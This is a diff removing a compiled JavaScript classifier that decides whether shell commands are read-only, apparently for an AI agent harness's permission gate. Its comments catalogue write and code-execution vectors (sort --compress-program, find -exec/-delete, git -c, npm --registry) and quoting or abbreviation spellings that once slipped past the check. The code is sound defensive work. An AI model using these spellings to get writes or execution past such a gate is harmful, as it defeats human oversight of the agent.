- * cannot spuriously catch an abbreviation of a different, benign flag —
1781
- * confirmed for every write flag this fix guards (no other long option
1782
- * on any measured binary shares a prefix at or past the measured
1783
- * minimum).
1784
- */
1785
- function isLongOptionAbbreviation(t, fullFlag, minPrefixLen) {
1786
- const eq = t.indexOf("=");
1787
- const name = eq === -1 ? t : t.slice(0, eq);
1788
- if (name.length < 2 + minPrefixLen)
1789
- return false;
1790
- return fullFlag.startsWith(name);
1791
- }
1792
- /**
1793
- * Returns true when a token is the output-redirect write flag shared by
1794
- * `sort` and `tree`: `-o` / `--output`, INCLUDING an unambiguous
1795
- * abbreviation of the long form (`--o`, `--ou`, `--out`, ... — measured
1796
- * minimum 1 character past `--`, both BSD and GNU sort, task dd055c1d).
1797
- * Cluster detection: in a cluster like `-rno`, getopt assigns the
1798
- * cluster remainder (or the next argv token when nothing follows within
1799
- * the cluster) as the output-file path, so any short cluster containing
1800
- * lowercase `o` after the leading dash is a write vector. Conservative:
1801
- * a filename token like `foo.txt` does not start with `-` and is
1802
- * therefore never matched.
1803
- *
1804
- * `tree` itself was measured (GNU tree 2.3.2 via Homebrew) to accept NO
1805
- * abbreviation of ANY of its long options at all — `--opt-toggle` works,
1806
- * `--opt` errors `Invalid argument` — so `-o`/`--output` has no long
1807
- * form and no abbreviation vector on tree either way; the abbreviation
1808
- * branch added here is inert-but-harmless for tree and load-bearing for
1809
- * sort, which shares this function via `isTreeWriteToken`'s delegation.
1810
- */
1811
- function isOutputWriteToken(raw) {
1812
- // Monotone BY CONSTRUCTION (review round 1, decision D3): testing
1813
- // raw OR decoded means decoding can only ADD a match, never remove
1814
- // one. The earlier shape (test the decoded value alone) was measured
1815
- // to LOSE matches here, because these predicates exclude `--` by
1816
- // construction and a token like `-"-out"=x` decodes out of the
1817
- // cluster branch entirely.
1818
- return checkOutputWrite(raw) || checkOutputWrite(decodeShellWord(raw));
1819
- }
1820
- function checkOutputWrite(t) {
1821
- // Exact `--output` and any unambiguous abbreviation of it
1822
- // (`--o`..`--outpu`), glued (`=VALUE`) or bare. See
1823
- // `isLongOptionAbbreviation` for the measured minimum (1 char past
1824
- // `--`) and why a true-prefix test cannot catch an unrelated flag.
1825
- if (isLongOptionAbbreviation(t, "--output", 1))
1826
- return true;
1827
- // Short flag or cluster: single leading '-' (not '--'), containing
1828
- // lowercase 'o'. Catches -o, -oFILE, -no, -rno, -rnofoo, etc.
1829
- return t.startsWith("-") && !t.startsWith("--") && t.slice(1).includes("o");
1830
- }
1831
- /**
1832
- * Returns true when a token is a write flag for `tree`. tree's only
1833
- * file-writing vector is the output redirect `-o` / `--output`; it has
1834
- * no exec or temp-dir flags, so this delegates to `isOutputWriteToken`.
1835
- *
1836
- * Quoted-spelling family (task fdee7d0f): NOT MEASURED against a real
1837
- * `tree` at the time — the binary was not installed on that machine, so
1838
- * the quoted-spelling family could only be confirmed for `find`, `sort`
1839
- * and `file`. That fix was applied here on the same reasoning, without
1840
- * direct tree confirmation.
1841
- *
1842
- * Long-option ABBREVIATION family (task dd055c1d): NOW MEASURED, GNU
1843
- * tree 2.3.2 (Homebrew). Result: tree's argument parser accepts NO
1844
- * abbreviation of ANY long option — `--opt-toggle` (a real tree option)
1845
- * works verbatim, but `--opt`, a genuine prefix of it, errors `Invalid
1846
- * argument`. tree also has no long spelling of `-o` at all (`--o`,
1847
- * `--out`, `--output` all error the same way — checked directly, not
1848
- * inferred). So the abbreviation branch `isOutputWriteToken` now carries
1849
- * is inert for tree: no real tree invocation can reach it, because tree
1850
- * rejects every abbreviated long flag outright, before this classifier
1851
- * is ever consulted. It stays wired through the shared function anyway,
1852
- * both because sort needs it and because a future tree release adding
1853
- * `getopt_long`-style abbreviation would then be covered for free.
1854
- */
1855
- function isTreeWriteToken(raw) {
1856
- // Pass the RAW token through: isOutputWriteToken owns the single decode.
1857
- // Decoding here too would decode TWICE, and decode(decode(x)) goes past
1858
- // bash whenever the first pass leaves a quote behind (`-"'o'"` -> `-'o'`
1859
- // -> `-o`).
1860
- //
1861
- // Measured honestly: since the guards became raw-OR-decoded, re-adding
1862
- // the second decode no longer changes any classification I could find —
1863
- // the raw arm already matches `-"'o'"` (it starts with one `-` and
1864
- // contains `o`). A mutation restoring the double decode leaves the suite
1865
- // green, and that is the structural fix absorbing the mistake rather than
1866
- // a gap in the tests. Single-decode stays because it is what bash does;
1867
- // do not rely on the raw arm to keep covering for it.
1868
- return isOutputWriteToken(raw);
1869
- }
1870
- /**
1871
- * Returns true when a token is a write OR exec flag for `sort`.
1872
- *
1873
- * sort's write surface is larger than output redirection, and the guard
1874
- * MUST enumerate all of it, not just `-o`. An output-only guard silently
1875
- * laundered `--compress-program`, which makes sort spawn an arbitrary
1876
- * program on its spill temp files (an arbitrary-code-execution vector
1877
- * with no shell metacharacter). The vectors:
1878
- * - output: `-o` / `--output` (see `isOutputWriteToken`).
1879
- * - exec: `--compress-program=PROG` runs PROG on spill files.
1880
- * - temp write: `--temporary-directory=DIR` / `-T DIR` writes scratch
1881
- * files to a caller-chosen path.
1882
- * Short `-T` is detected like `-o`: any short cluster containing `o`
1883
- * (output) or uppercase `T` (temp dir) is a write vector. This can
1884
- * over-block a few benign size values (e.g. `-S2T`); over-blocking a
1885
- * read is acceptable, under-blocking a write is not.
1886
- *
1887
- * Each long-form vector also matches an unambiguous GNU/BSD
1888
- * `getopt_long` ABBREVIATION of its full spelling, not just the exact
1889
- * word (task dd055c1d): `sort --out=x`, `--o=x`, and `--outp=x` were all
1890
- * measured writing their output file on both BSD sort (macOS) and GNU
1891
- * coreutils sort 9.11 (`gsort`) while the pre-fix guard compared only
1892
- * the full `--output` spelling. Measured minimums (both variants agree):
1893
- * `--o` for `--output` (1 char), `--co` for `--compress-program` (2
1894
- * chars — `--c` alone is ambiguous with `--check` on both binaries and
1895
- * errors rather than running), `--t` for `--temporary-directory` (1
1896
- * char). See `isLongOptionAbbreviation`.
1897
- */
1898
- function isSortWriteToken(raw) {
1899
- // Monotone BY CONSTRUCTION (review round 1, decision D3): testing
1900
- // raw OR decoded means decoding can only ADD a match, never remove
1901
- // one. The earlier shape (test the decoded value alone) was measured
1902
- // to LOSE matches here, because these predicates exclude `--` by
1903
- // construction and a token like `-"-out"=x` decodes out of the
1904
- // cluster branch entirely.
1905
- return checkSortWrite(raw) || checkSortWrite(decodeShellWord(raw));
1906
- }
1907
- function checkSortWrite(t) {
1908
- // Exact spellings and unambiguous abbreviations (measured minimums:
1909
- // `--co`, `--t`, `--o` — see `isSortWriteToken`'s docstring and
1910
- // `isLongOptionAbbreviation`).
1911
- if (isLongOptionAbbreviation(t, "--compress-program", 2))
1912
- return true;
1913
- if (isLongOptionAbbreviation(t, "--temporary-directory", 1))
1914
- return true;
1915
- if (isLongOptionAbbreviation(t, "--output", 1))
1916
- return true;
1917
- // Short flag or cluster: '-' (not '--') containing 'o' (output) or
1918
- // uppercase 'T' (temp dir).
1919
- return t.startsWith("-") && !t.startsWith("--") && /[oT]/.test(t.slice(1));
1920
- }
1921
- /**
1922
- * Returns true when a token is a write flag for `file`.
1923
- * `-C` / `--compile` writes a compiled magic-cache file (`<name>.mgc`).
1924
- * Lowercase `-c` checks the magic file without writing; only uppercase
1925
- * `C` triggers a write. Cluster detection: `-bC`, `-Cb`, and `-bCx`
1926
- * all contain uppercase `C` after the leading dash and are write vectors.
1927
- *
1928
- * Also matches an unambiguous GNU `getopt_long` ABBREVIATION of
1929
- * `--compile` (task dd055c1d): `file --co`/`--com`/... were measured
1930
- * creating the compiled magic-cache file (macOS `/usr/bin/file` 5.41)
1931
- * while the pre-fix guard compared only the exact `--compile` spelling.
1932
- * Measured minimum is `--co` (2 chars) — `--c` alone is ambiguous with
1933
- * `--checking-printout` and errors rather than running; `--che`, the
1934
- * shortest unambiguous abbreviation of `--checking-printout` (a
1935
- * read-only flag), is NOT a prefix of `--compile` and so is unaffected
1936
- * (measured: `file --che` does not create the cache file). See
1937
- * `isLongOptionAbbreviation`.
1938
- */
1939
- function isFileWriteToken(raw) {
1940
- // Monotone BY CONSTRUCTION (review round 1, decision D3): testing
1941
- // raw OR decoded means decoding can only ADD a match, never remove
1942
- // one. The earlier shape (test the decoded value alone) was measured
1943
- // to LOSE matches here, because these predicates exclude `--` by
1944
- // construction and a token like `-"-out"=x` decodes out of the
1945
- // cluster branch entirely.
1946
- return checkFileWrite(raw) || checkFileWrite(decodeShellWord(raw));
1947
- }
1948
- function checkFileWrite(t) {
1949
- // Exact `--compile` and any unambiguous abbreviation of it (`--co`..
1950
- // `--compil`) — see this function's docstring and
1951
- // `isLongOptionAbbreviation`.
1952
- if (isLongOptionAbbreviation(t, "--compile", 2))
1953
- return true;
1954
- // Short flag or cluster: single leading '-' (not '--'), containing
1955
- // uppercase 'C'. Lowercase 'c' is intentionally not matched.
1956
- return t.startsWith("-") && !t.startsWith("--") && t.slice(1).includes("C");
1957
- }
1958
- /**
1959
- * Returns true when `bin` (with any path prefix) basename-matches "git".
1960
- * Examples: "git", "/usr/bin/git", "./git", "/path/to/git" all return true.
1961
- * "mygit", "gitk", "git-foo" all return false (not exact basename match).
1962
- * Uses GIT_TOKEN_RE from command-normalize.ts for the canonical basename matching.
1963
- */
1964
- function isGitBinary(bin) {
1965
- return GIT_TOKEN_RE.test(bin);
1966
- }
1967
- /**
1968
- * Strips leading git global options from tokens, returning the index after
1969
- * the last global option (or 1 if no options). This allows the subcommand
1970
- * check to look at the first remaining token after global options.
1971
- *
1972
- * Git global options recognized: -C, --git-dir, --work-tree, --namespace
1973
- * (value-taking), and --no-pager, -p, --paginate, --exec-path, --literal-pathspecs,
1974
- * --no-replace-objects (no-value).
1975
- *
1976
- * NOTE: `-c` is deliberately NOT included because git config injection can
1977
- * execute arbitrary code (core.fsmonitor, core.pager, core.editor, etc.);
1978
- * if `-c` appears, the command fails closed (treated as write).
1979
- */
1980
- function skipGitGlobalOptions(tokens) {
1981
- let idx = 1; // Start after "git"
1982
- while (idx < tokens.length) {
1983
- const t = tokens[idx];
1984
- if (t === undefined || !t.startsWith("-"))
1985
- break;
1986
- // No-value options: use the exported set (exact match or glued with =).
1987
- if (GIT_GLOBAL_NO_VALUE_FLAGS.has(t) || Array.from(GIT_GLOBAL_NO_VALUE_FLAGS).some(f => t.startsWith(f + "="))) {
1988
- idx += 1;
1989
- continue;
1990
- }
1991
- // Value-taking options: -C, --git-dir, --work-tree, --namespace
1992
- // (both standalone and with glued =VALUE).
1993
- const flagName = t.indexOf("=") === -1 ? t : t.slice(0, t.indexOf("="));
1994
- if (GIT_GLOBAL_VALUE_TAKING_FLAGS.has(flagName)) {
1995
- if (t.includes("=")) {
1996
- // Glued form (--flag=value), it's one token
1997
- idx += 1;
1998
- }
1999
- else {
2000
- // Standalone form: if there's no next token, the value is missing.
2001
- // Fail closed: treat as write (return early).
2002
- if (idx + 1 >= tokens.length) {
2003
- return idx; // Stop here, leaving the flag unprocessed
2004
- }
2005
- idx += 2; // Skip flag and value
2006
- }
2007
- continue;
2008
- }
2009
- // Unknown flag (including `-c`, which we fail-closed on), stop.
2010
- break;
2011
- }
2012
- return idx;
2013
- }
2014
- /**
2015
- * Classify an already-tokenized, metachar-cleared argv. Factored out
2016
- * of `isReadOnlyBashCommand` so the command-runner special cases
2017
- * (`command` / `env`) can recurse on the residual underlying command
2018
- * without re-parsing a reconstructed string.
2019
- */
2020
- function classifyTokens(tokens) {
2021
- const bin = tokens[0] ?? "";
2022
- const sub = tokens[1] ?? "";
2023
- if (SIMPLE_READ_ONLY_BINS.has(bin))
2024
- return true;
2025
- // `command <cmd> ...` runs <cmd>, bypassing shell functions/aliases.
2026
- // It is read-only ONLY if the command it wraps is read-only. Strip
2027
- // `command`'s own option flags (`-p`, `-v`, `-V`, and any combined
2028
- // short flags like `-pv`), then recurse-classify the residual argv.
2029
- // Bare `command` (no residual) and the lookup-only forms `command
2030
- // -v <name>` / `command -V <name>` (which print where a name
2031
- // resolves without executing it) stay read-only.
2032
- if (bin === "command") {
2033
- let i = 1;
2034
- let lookupOnly = false;
2035
- for (; i < tokens.length; i += 1) {
2036
- const t = tokens[i];
2037
- if (t === undefined || !t.startsWith("-") || t === "--")
2038
- break;
2039
- if (/[vV]/.test(t))
2040
- lookupOnly = true;
2041
- }
2042
- if (i < tokens.length && tokens[i] === "--")
2043
- i += 1;
2044
- if (lookupOnly)
2045
- return true;
2046
- if (i >= tokens.length)
2047
- return true; // bare `command`
2048
- return classifyTokens(tokens.slice(i));
2049
- }
2050
- // `env [NAME=VALUE...] [flags] <cmd> ...` runs <cmd> in a modified
2051
- // environment. It is read-only ONLY if the command it wraps is
2052
- // read-only. Skip leading env-assignment tokens (`FOO=bar`) and
2053
- // env's own flags, then recurse-classify the residual command. Bare
2054
- // `env`, `env -u X`, `env FOO=bar` (no residual command, just prints
2055
- // the environment) stay read-only.
2056
- if (bin === "env") {
2057
- let i = 1;
2058
- while (i < tokens.length) {
2059
- const t = tokens[i];
2060
- if (t === undefined)
2061
- break;
2062
- // `env -S` / `--split-string` re-parses a string into a command:
2063
- // forfeit read-only classification (fail closed).
2064
- if ((ENV_SPLIT_STRING_FLAGS.test(t) || ENV_SPLIT_STRING_FLAGS.test(decodeShellWord(t))))
2065
- return false;
2066
- if (t === "--") {
2067
- i += 1;
2068
- break;
2069
- }
2070
- if (ENV_VALUE_FLAGS.has(t)) {
2071
- i += 2;
2072
- continue;
2073
- }
2074
- if (ENV_LEADING_FLAGS.has(t)) {
2075
- i += 1;
2076
- continue;
2077
- }
2078
- // Long flag with a glued value (`--unset=NAME`, `--chdir=DIR`):
2079
- // single token, skip it.
2080
- if (t.startsWith("--") && t.includes("=")) {
2081
- i += 1;
2082
- continue;
2083
- }
2084
- // Short flag with a glued value (`-uNAME`, `-CDIR`): single
2085
- // token, skip it.
2086
- if (/^-[uC]./.test(t)) {
2087
- i += 1;
2088
- continue;
2089
- }
2090
- // `NAME=VALUE` environment assignment (no leading dash): skip.
2091
- if (!t.startsWith("-") && /^[A-Za-z_][A-Za-z0-9_]*=/.test(t)) {
2092
- i += 1;
2093
- continue;
2094
- }
2095
- break;
2096
- }
2097
- if (i >= tokens.length)
2098
- return true; // bare `env` / only assignments
2099
- return classifyTokens(tokens.slice(i));
2100
- }
2101
- // `find` is read-only ONLY when none of its argv tokens are write
2102
- // flags. Scan the whole argv: `-delete` / `-exec` / `-execdir` /
2103
- // `-ok` / `-okdir` mutate the filesystem; `-fprint*` and `-fls`
2104
- // write to operator-supplied paths without going through shell
2105
- // redirection. If any such flag appears, fall through to block.
2106
- if (bin === "find") {
2107
- // Decode each token first: `-"delete"`, `-'delete'`, `-\delete`,
2108
- // `-$'delete'` and `-de"lete"` are all the single argv entry `-delete`
2109
- // to bash, and all five really deleted while classifying as read-only
2110
- // (task fdee7d0f, measured with a canary file per form). Set membership
2111
- // on the RAW token is what they defeated.
2112
- return !tokens.slice(1).some((t) => (FIND_WRITE_FLAGS.has(t) || FIND_WRITE_FLAGS.has(decodeShellWord(t))));
2113
- }
2114
- // `sort` is read-only ONLY when none of its argv tokens are write or
2115
- // exec flags: `-o`/`--output` (file output), `--compress-program`
2116
- // (runs an arbitrary program on spill files), and
2117
- // `-T`/`--temporary-directory` (scratch write). See `isSortWriteToken`
2118
- // for the exact detection rules and why the enumeration must cover the
2119
- // exec vector, not just output redirection.
2120
- if (bin === "sort") {
2121
- return !tokens.slice(1).some(isSortWriteToken);
2122
- }
2123
- // `tree` is read-only ONLY when none of its argv tokens are output
2124
- // write flags: `-o FILE` / `--output=FILE` / `--output FILE`, or a
2125
- // short-flag cluster containing lowercase `o` (e.g. `-rno`). tree has
2126
- // no exec or temp-dir flags. See `isTreeWriteToken`.
2127
- if (bin === "tree") {
2128
- return !tokens.slice(1).some(isTreeWriteToken);
2129
- }
2130
- // `file` is read-only ONLY when none of its argv tokens are compile
2131
- // flags. `-C` / `--compile` writes a compiled magic-cache file;
2132
- // lowercase `-c` is benign (magic-file check). Any short cluster
2133
- // containing uppercase `C` (e.g. `-bC`) is a write vector. See
2134
- // `isFileWriteToken` for the exact detection rules.
2135
- if (bin === "file") {
2136
- return !tokens.slice(1).some(isFileWriteToken);
2137
- }
2138
- // `<bin> --version` / `<bin> --help` shape. Checked BEFORE the
2139
- // per-binary branches so that `git --version`, `gh --version`,
2140
- // `harness --version` all pass through this shape rather than
2141
- // falling into the per-binary subcommand allowlists (which
2142
- // intentionally don't list `--version` since it's not a
2143
- // subcommand). Must be exactly two tokens to keep the surface
2144
- // tight: `<bin> --version <thing>` could exfiltrate or mis-route.
2145
- if (tokens.length === 2 && VERSION_OR_HELP_FLAGS.has(sub))
2146
- return true;
2147
- if (isGitBinary(bin)) {
2148
- // Strip git global options to find the subcommand.
2149
- const argsIdx = skipGitGlobalOptions(tokens);
2150
- const subAtIdx = tokens[argsIdx];
2151
- if (subAtIdx === undefined)
2152
- return true; // bare `git` or only options
2153
- if (!GIT_READ_ONLY_SUBS.has(subAtIdx))
2154
- return false;
2155
- return isReadOnlyGitInvocation(subAtIdx, tokens.slice(argsIdx + 1));
2156
- }
2157
- if (bin === "gh") {
2158
- if (!GH_READ_ONLY_NOUNS.has(sub))
2159
- return false;
2160
- const verb = tokens[2] ?? "";
2161
- return GH_READ_ONLY_VERBS.has(verb);
2162
- }
2163
- if (bin === "harness")
2164
- return HARNESS_READ_ONLY_SUBS.has(sub);
2165
- if (bin === "npm") {
2166
- // `--registry` (incl. the per-scope `--@scope:registry` form) /
2167
- // `--userconfig` / `--globalconfig` redirect npm's network or config
2168
- // lookups to an operator-unverified location; forfeit the read-only
2169
- // classification for the whole npm invocation regardless of which
2170
- // subcommand is used. See `NPM_REGISTRY_FLAG_RE` / `NPM_UNSCOPED_UNTRUSTED_FLAGS`
2171
- // (and their docstring's stated limit — this is a CLI-token guard only,
2172
- // it cannot see `.npmrc` or `npm_config_registry`).
2173
- if (hasNpmUntrustedSourceFlag(tokens.slice(1)))
2174
- return false;
2175
- // `npm audit` (report) is read-only; `npm audit fix` mutates the
2176
- // lockfile and node_modules. A token-equality denylist on `fix` is a
2177
- // shell-quoting bypass waiting to happen: `npm audit "fix"`, `'fix'`,
2178
- // `f''ix`, `fi"x"`, `$'fix'` all reach npm as the literal argument
2179
- // `fix` (npm's own arg parsing, not ours, strips the quoting) while
2180
- // none of those RAW tokens equals the string `"fix"`, so an
2181
- // equality/`includes` check on the untouched argv silently passes them.
2182
- // The fix is a POSITIVE shape instead: after `audit`, every remaining
2183
- // token must either start with `-` (a flag) or be the literal verb
2184
- // `signatures` (npm's other read-only audit arm); any other positional
2185
- // token — quoted, glued, or a future subcommand this floor has not
2186
- // reasoned about — forfeits the classification. This also fails closed
2187
- // on ANY separated flag value (e.g. `npm audit --audit-level high`,
2188
- // `npm audit --omit dev` — the value itself, `high` / `dev`, is a
2189
- // positional token with no leading `-`), an acceptable, conservative
2190
- // false negative; use the glued `--flag=value` form to stay floored.
2191
- // Deliberately NOT blocked: `npm audit -fix` (single dash). Verified
2192
- // npm 11.17.0 behavior: npm's arg parser does not recognize `-fix` as
2193
- // the `fix` subcommand or as any known flag cluster — it errors
2194
- // `Unknown cli config "--fix"` and falls back to the plain (read-only)
2195
- // report. `startsWith("-")` correctly floors it; do not "fix" this into
2196
- // a block without re-verifying npm's parser first.
2197
- if (sub === "audit") {
2198
- return tokens.slice(2).every((t) => t.startsWith("-") || t === "signatures");
2199
- }
2200
- return NPM_READ_ONLY_SUBS.has(sub);
2201
- }
2202
- return false;
2203
- }
2204
- //# sourceMappingURL=read-only-bash.js.map